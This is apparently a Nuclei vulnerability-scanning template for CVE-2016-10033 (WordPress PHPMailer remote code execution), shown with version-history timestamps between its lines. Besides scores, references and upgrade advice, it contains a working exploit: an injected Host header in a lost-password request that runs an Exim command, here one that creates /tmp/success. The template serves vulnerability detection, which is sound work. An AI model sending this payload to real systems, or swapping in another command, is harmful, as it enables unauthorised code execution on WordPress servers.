2021-03-24 11:33:21 +00:00
id : CVE-2016-10033
2022-04-15 16:39:44 +00:00
2021-03-24 11:33:21 +00:00
info :
2022-11-28 00:42:51 +00:00
name : WordPress PHPMailer < 5.2.18 - Remote Code Execution
2021-03-24 11:33:21 +00:00
author : princechaddha
2021-09-10 11:26:40 +00:00
severity : critical
2022-04-22 10:38:41 +00:00
description : WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
2022-04-15 16:39:44 +00:00
reference :
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
2022-05-17 09:18:12 +00:00
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
2023-07-11 19:49:27 +00:00
- http://seclists.org/fulldisclosure/2016/Dec/78
2021-09-10 11:26:40 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2016-10033
cwe-id : CWE-77
2023-07-11 19:49:27 +00:00
epss-score : 0.97464
2023-11-03 10:59:12 +00:00
epss-percentile : 0.99951
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : phpmailer_project
product : phpmailer
2023-07-12 11:56:50 +00:00
tags : seclists,cve,cve2016,rce,edb,wordpress
2021-03-24 11:33:21 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-24 11:33:21 +00:00
- raw :
- |+
GET /?author=1 HTTP/1.1
Host : {{Hostname}}
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- |+
POST /wp-login.php?action=lostpassword HTTP/1.1
Host : target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept : */*
Content-Type : application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
unsafe : true
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-24 11:33:21 +00:00
words :
- wp-login.php?checkemail=confirm
- type : status
status :
- 302
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : username
group : 1
regex :
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal : true
part : body
2023-11-03 15:51:18 +00:00
# digest: 4b0a0048304602210080bd22de58c874352b78ef78e9714dc623c3ce4caaea496fd9ed1409f274d3fb0221008d3a38dc657c31850ed4d7efc83ce046eb42b460938733ba7ef4d843d70dc86c:922c64590222798bb761d5b6d8e72950